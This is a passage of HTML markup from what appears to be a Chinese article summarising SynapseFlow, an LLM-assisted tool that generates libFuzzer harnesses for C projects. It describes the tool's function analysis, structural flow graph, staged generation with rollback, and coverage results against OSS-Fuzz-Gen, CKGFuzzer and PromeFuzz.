0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）：辅助资源与生命周期管理的函数，包括结构体的初始化和释放等，例如</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_free</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">这一标注过程结合了轻量级静态分析（基于</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">tree-sitter</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">实现）和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">语义推理辅助：基于静态语法分析充分解析函数实体及数据结构类型，且对于指针参数等静态分析无法区分输入</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">/</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">输出的情形，设计相应的提示模板让</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">进行判断，并采用三提示词投票机制提升准确性。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">步骤</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：构建结构体流图（</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Structural Flow Graph, SFG</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">完成静态分析后，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">还将构建一张结构体流图：有向图，节点代表结构体类型，边代表函数对结构体的“消费—生产”关系。例如，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_frame_pixels</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">消费</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_frame</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、生产</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_pixels</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，就在图中形成一条从</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_frame</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">到</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_pixels</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的边。结构体流图清晰地体现了数据在数据结构以及函数间的流动路径。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4322033898305085" data-type="jpeg" data-w="472" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005606" src="https://wechat2rss.xlab.app/img-proxy/?k=504a331e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdt9ibibEOmA5mvJGPKEoFhDZrRpR4tMKVSEgiaPJInzJicuo6zRqdFsyXpjGqL7rvxGYAxEicrYvux3NXClMYAWKbTpOlThwneDerFI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">步骤</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">3</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：函数三元组提取。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">最后，对于每一个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">ISF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SFG</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">上进行前向数据流分析，收集所有可达的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PRF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">和相关的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">HPF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，形成一个完整的函数三元组。以</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">为例，提取出的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">FT</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">包含了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">7</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个关键函数。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2.</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">基于工作流分解的</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成</span></span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">得到函数三元组之后，接下来进行</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成。如前所述，让</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">一次性生成完整</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">是脆弱的。因此，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">将</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成分解为四个顺序执行的阶段，并基于静态语法分析以及编译与短时运行验证，为每个阶段设计了相应的校验机制：</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">阶段</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：函数文档生成。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">将</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">FT</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">中每个函数的原始源代码转换为结构化的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">API</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">文档</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">——</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">包括函数签名、用途描述、使用场景和调用示例。这一步将低级语法抽象为高级语义知识，为后续代码生成提供知识基础。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">阶段</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：结构体代码片段拼接。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">利用</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SFG</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，识别</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">FT</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">中共享相同输入</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">/</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">输出结构体的函数，分组形成多个处理单元。对于每个单元，通过</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成一个局部的代码片段，正确地将输入结构体转换为输出结构体。该阶段将代码生成问题分解为了若干个可管理、可校验的局部问题。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43388429752066116" data-type="jpeg" data-w="484" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005608" src="https://wechat2rss.xlab.app/img-proxy/?k=c39152d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdvpWfLMZeGibQjfWNibEv6LJQ6K5icmZpjjUiaM4gKiazd1hiaDPptG0BCTWu3Jn4ibOTFAOKW5icJWPbymNX8kPPKgv6ibuKZia5zqAkJBI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">阶段</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">3</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：粗略代码组装。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">将阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成的所有局部代码片段，按照</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SFG</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">中的数据流顺序，逐步合并成一个完整的、可执行的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">原型。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8416666666666667" data-type="jpeg" data-w="480" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005610" src="https://wechat2rss.xlab.app/img-proxy/?k=3f86f62c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdtZl7o2v9QUIPCaAOvAq94tibQSrQAxBM13OxjbtNMojKREvSk1hFDdibzR6UbzuJI2q3eEAJMuaLW5cRVBgzGvSI8Y6ldqbppnI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">阶段</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">4</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：格式转换与代码优化。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">将粗略原型转换为最终的、可用于模糊测试的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness——</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">包装成标准的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">libfuzzer harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">格式，移除损害性能的操作，并基于编译与短时运行反馈优化函数调用及资源清理。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">此外，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">引入了一个分阶段回滚算法。其核心思想是：如果最终阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">无法编译或无法通过基本的运行时测试，不再迭代尝试修复错误，而是回滚到之前的某个阶段重新生成。例如，如果阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">4</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成的代码编译失败，系统会回滚到阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">3</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">重新组装；如果反复失败，则进一步回滚到阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">甚至阶段</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">。这种机制有效遏制了错误的传播和累积，避免了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">在迭代修复过程中可能由于幻觉引入的新错误。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.4545454545454546" data-type="jpeg" data-w="352" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005609" src="https://wechat2rss.xlab.app/img-proxy/?k=50c76b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdvR6Y7m7MzTKOLhvuwCCdp9r8fulHicUqichbr3RYYXhdCiaaw3K220zsb198h2sp6XMnthhIeslonfQicG76TRuQKU9cGTiab76QX4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-tools="135编辑器" data-id="147339" data-pm-slice="0 0 []"><div style="margin: 10px auto;background-color: #e9f1fa;border-radius: 7px;padding: 0px 10px;box-sizing: border-box;"><div style="display: flex;justify-content: space-between;align-items: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#bdcaff,#a7e2ff);width: 40px;height: 40px;border-radius: 100%;display: flex;justify-content: center;align-items: center;border: 2px solid #ffffff;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong><span leaf="">3</span></strong></p></div><div><p style="font-size: 16px;color: #333333;text-align: center;padding: 0 0 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">实验评估</span></strong></p></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">1.</span></span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">数据集构建及基准工具选取</span></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">25</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个真实世界的开源</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">C</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">项目（包括</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">17</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个库和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">8</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个应用程序）上对</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">进行了全面评估，并与三个最先进的工具进行了对比：</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz-Gen</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CKGFuzzer</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PromeFuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，所有工具均使用相同的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">后端</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Qwen3-32B</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">。其中，数据集选取遵循三项原则：</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·基准可比性：纳入</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">6</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个在前期工作中广泛使用的标准测试目标，确保评估结果可与现有研究直接对比。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·压力测试：选取具有复杂协议或文件解析逻辑的项目，以检验各工具在复杂场景下的生成能力上限。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·数据污染消减：引入</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">11</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个此前从未在相关研究中出现过的项目（包括</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">8</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个应用程序）。由于</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">可能已在训练集中包含有热门库的现有</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，在这些全新目标上评估能更纯粹地反映各生成技术的内在性能，而模型预训练数据的记忆效应。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">2.</span></span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">代码覆盖率的显著提升</span></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">24</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个项目上取得了优于所有基线工具的分支覆盖率。具体而言，相比</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz-Gen</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CKGFuzzer</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PromeFuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，分支覆盖率提升了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">3.07</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""> 1.71</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">4.26</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍。在函数覆盖方面，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">分别提升了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">4.97</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">2.33</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1.52</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">经分析，代码覆盖率的提升源于三个关键因素：</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·全面的函数选择：通过</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SFG</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">捕获了传递性依赖和长距离数据流，而基线工具依赖的启发式规则系统性遗漏了这些关系。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·分阶段生成流程：将高风险的单轮生成转化为一系列可验证的简单步骤。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·输入函数隔离：每个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">ISF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">对应一个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，避免了多个输入函数混合在同一个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span 